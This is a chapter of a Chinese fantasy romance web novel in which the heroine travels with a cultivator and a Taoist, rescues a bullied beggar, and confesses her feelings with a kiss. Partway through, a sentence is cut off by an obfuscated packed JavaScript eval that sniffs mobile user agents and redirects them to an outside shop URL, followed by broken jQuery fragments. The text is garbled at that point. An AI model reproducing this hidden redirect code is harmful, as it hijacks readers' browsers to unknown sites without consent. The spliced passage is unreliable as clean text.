紫阳子不明白,这个人明明与自己年龄相仿,如何能散发出这样一种超出年龄的冷峻自若,又带着一种不容忽视的威压。

    光是听到他说话就产生了一种即将要挨训的错觉。

    二人因为季沐风的话断了眼波交流,跟紫阳子的畏缩相比,赵舒行明显自如多了,只见她双手抱胸,双腿交叠而坐,一只脚还不住晃悠,爽朗道:“那我可说啦,他说你不苟言笑的样子,谁看见你都要害怕。”

    紫阳子哪能料到这姓赵的能干出这等倒打一耙的事来,差点当场厥过去。倒吸一口凉气,良久才缓过气来,拂尘搭在臂弯,恢复了他紫大师的高雅,他见季沐风并没有生气的迹象,主动上前搭话:

    “这位是季仙师?”

    “季沐风。”

    “贫道名号紫阳子,若要论起来,咱俩可以说是一条道上的。有幸识得风兄,大概是真武大帝在冥冥之中有所指示吧。”

    季沐风侧头看他:“你身上有药味。”

    “哦对,”他取下肩上的包向他展示一兜子丹丸,“这是我炼制的丹药,原本还有驱邪除鬼的,但是先前都用完了,只剩下这些强身健体的,风兄若有需要,我可以免费相送。”

    季沐风没再回话,继续闭眼休息。

    紫阳子正收了袋子,却见一只手伸到他面前,掌心朝上,赵舒行笑嘻嘻道:“我要,最贵的。”

    紫阳子挥手以响亮的一声“啪”结束了二人的对话。

    马车飞速行驶,窗外风景次第向后掠去。赵舒行趴在窗口看了会儿,又看看季沐风,冷得像块冰雕。

    比从前更冷,更难相处,甚至还带了些难以言喻的戾气,仿佛平静的海面下暗藏了汹涌波涛。

    她忽然想起来什么事情,问道:“许回呢?”

    季沐风恍若未闻,继续休养他的。

    赵舒行又说:“对了,我们本来要去凌云宗的。在凤鸣都遇上了流窜的恶灵,猜测与那里有关。”

    这次季沐风倒是理她了:“不必,我此行正是为此事而来,已去过凌云宗,再无恶灵痕迹。”

    赵舒行脱口而出:“啊?你不是为我而来的吗?”话一出口,才意识到自己心里油然而生出了些许失落。

    紫阳子:“方才在福姑家里,我听到你们说了那个人叫……元朔?会不会是他干的?噬亡魂则怨生根,吞生魂则念丛生;众魂扰神,真我消亡,人道一断,即成魔。人间若真出了魔日头,恐怕有的苦难受了。”

    季沐风:“正是,所以务必要尽早除之,此番我也是趁着他吞了生魂尚未融合完成之际能与之抗衡。但是多年来他善于隐忍躲避,眼下又不知所在何处。敌暗我明,唯有等他先发动作,才能辨其图谋。”

    紫阳子:“传闻凌云宗的五大宗师,其中一人就叫元朔,但早年前因不明原因被逐出了宗门,该不会就是他吧?”得到季沐风的肯定后,他长叹一口气,

    “看来道上传闻可能是真的,他是因为练了邪魔歪道才被逐出宗门。真是可惜可叹,以他的修为已经是宗师了,明明好好地修炼走正道,假以时日成就不可限量啊。”

    说话间,车子悠悠地停住。正前方,矗立着一座客栈,名曰“安途客栈”。

    三人走向客栈,赵舒行却在迈入客栈前被不远处的吵嚷声吸引了注意力。

    只见五个孩童绕成了一个小圈,正在朝着圆圈中心拳打脚踢,还有两个拿着小石子朝里丢掷,不时发出哈哈大笑。

    圆圈的缝隙中则传来低低的呜咽声。

    她缓缓走去:“干什么呢?”按住一小孩的肩膀往外一扒,露出里面的人来:

    是一个乞丐模样的男人,正滚在地上蜷缩成一团,双手紧紧抱着脑袋,嘴里发出“呜呜”声,身上都是一块块的青紫色。

    旁边的小孩没理她,继续笑着要往乞丐身上丢石头,被赵舒行一把扣住手腕:“为什么打他?”

    小孩:“他又疯又傻,他活该!”

    赵舒行抓着他的手逐渐收紧,冷笑道:“又疯又傻就要被你们打?那我现在说你们又蠢又坏,是不是也可以揍你们了?”

    小孩疼得哇哇大叫:“你弄疼我了!快过来救我呀!”

    几个孩子见状,纷纷上来抱腿的抱腿,掰手臂的掰手臂,费劲半天都没动分毫。

    被扣手腕的小孩疼得当场下跪,哭道:“我错了,我再也不敢了,女侠饶命!”

    赵舒行一撒手,几个人就疯一样地跑了,边跑边回头喊:“欺负小孩算什么本事,你等着,我叫我爹来教训你!”

    赵舒行也冲他喊:“我就在这家安途客栈等着你们!”转身朝乞丐道,“没事了,起来吧。”

    那乞丐闻言,从缝里往外瞅,这才缓缓松开抱着脑袋的手,警惕地左右张望一圈,把视线定在了赵舒行身上。

    “被人欺负了就要反抗呀,还是这么几个小屁孩……”

    赵舒行正在输出自己的人生哲理,却见乞丐站了起来,瘸着腿走到她面前,盯着她看了半晌,突然咧开嘴笑了起来,左右晃着脑袋,四肢在原地扑腾,扑腾着往另外一个方向蹦蹦跳跳地走远了。

    “还真是个傻子。”赵舒行站在原地看了一会儿他远去的背影,转身去向客栈。

    季沐风和紫阳子正在门口等她,紫阳子笑道:“哟,赵女侠还挺有善心。”

    “那可不。”赵舒行望向季沐风,见对方依旧不太想搭理她的样子,径直上了楼。

    那一瞬,她心里的不悦像藤蔓般缠绕了上来。

    她不死心地尾随他上楼,还想再跟他说会儿话,但那道门当着她的面关上后,就再也没有打开过。

    她回了自己房间,窝在床上,双手枕在脑后,看着床顶发呆。门外偶有脚步声经过,男男女女的交谈声渐次响起,楼下熙攘的喧闹声,跑堂小二的招呼声……听在她的耳里都像是隔了一层薄膜。

    他们是同一个世界的,而自己独属于另外一个世界。

    这种感觉很新奇,她向来都是心上不搁事的人,了无牵挂。若是出现了问题,那一定是别人的问题,从不会往自己身上扯,给自己增加负担。

    但是眼下她心里就像挂了一个秤砣,沉甸甸地压着她。让她的脑海里跟浪涛一样翻来滚去地回想。

    她想起了在漓县的一帧一幕,也想起了自己成为小泥人时夜夜伏在他身上休眠。

    那并不算长的相处经历竟在她心里占据了那么重要的比例

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755174|209199||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    她终于得出结论,自己的胸闷堵气果然是因为季沐风的不搭理。

    可是为什么他不搭理自己,自己就要如此不安呢?这世上不搭理自己的人多了去了,她什么时候在乎过?

    她把脑子有限的见闻再次翻了个底朝天,又得出结论:

    因为自己思春了?

    这个想法刚冒头,她唰地一下从床上直挺挺地坐起来,怀疑自己是不是中邪了。

    没错,他长得是比别人好看了一点,能力强了一点,性格独特了一点,但是这不代表我就要喜欢他呀!

    她把十指插进发里,抱着脑袋想要掐死乱七八糟的想法。

    “砰砰砰”,门口突然传来敲门声,她的心一提,那个期盼不可抑制地浮现了出来:是他吗?

    “下楼吃饭呀。”是紫阳子在门口叫唤。

    她全身霎时一松,却又带着莫名其妙的失望,心跳忽急忽慢频繁交换着节奏,简直就要把自己逼疯了。

    “不去!”

    听到里面传来雷霆般的吼声,紫阳子身子下意识向后一仰,低声嗫嚅道:“又不知道发什么疯。”

    正在转身离开之际,门呼地开了,他以为对方变了注意,却没料到她无精打采地来了一句:“有没有驱鬼的丹丸,给我来一颗。我觉得我被鬼上身了。”

    “神经病!”紫阳子懒得理她,拂袖而去。

    她连唤几声都没把人唤回来,把门一关,又窝回床上发呆。

    就这么神情恍惚地不知道过了多久,只觉得外面的声音渐渐散去。她突然像灵魂回笼一样猛地睁大了眼睛,觉得这样下去自己就要废了。

    就算是喜欢又怎么了,是很丢人的事情吗?她今天非要搞清楚不可!

    她立刻下床穿鞋出门,三个动作不带一丝拖泥带水,出门左拐经过两个房间,站在了季沐风房门口,这才惊觉天已经黑了。

    她在幽暗的光线里静静地伫立,方才的勇猛忽然泄了大半。

    我进去干什么呢?

    然而动作比想法更主动,她还没确定出想法,双手已经轻轻推开了门。

    竟然没有锁门?

    反手小心关门,她蹑手蹑脚地走进去。

    季沐风没有点灯,是已经睡下了了吗?

    黑暗中,她一眼就看到了在床上打坐的季沐风,一身白衣,宛如不沾尘世的谪仙。

    她被吸引着走近,停在床前,看着他如玉的肤色,看着根根纤毫毕现的长睫,看着两簇黑发垂落胸前,美好得连沾染上尘灰都是种亵渎。

    她忽然生出了一丝后悔,再次问自己为什么要进来呢?

    她生怕自己的举动惊扰了他,然而一片静寂的黑暗中,自己胸腔的心跳声愈渐吵嚷,仿佛是要向整个世界宣告自己的荒唐,急促地跳动后又突然消失得无影无踪。

    她终于融进了这片黑暗。

    突然,他睁开了双眼,视线上移,沉沉地看着她。

    他们就这么僵持了好一会儿,谁都没有说话。仿佛时间、空间都被一双无形的手停止了流动变幻。

    最终打破僵局的是她自己。

    她微微俯身,伸手抬起他的下巴,笨拙地去贴他的双唇。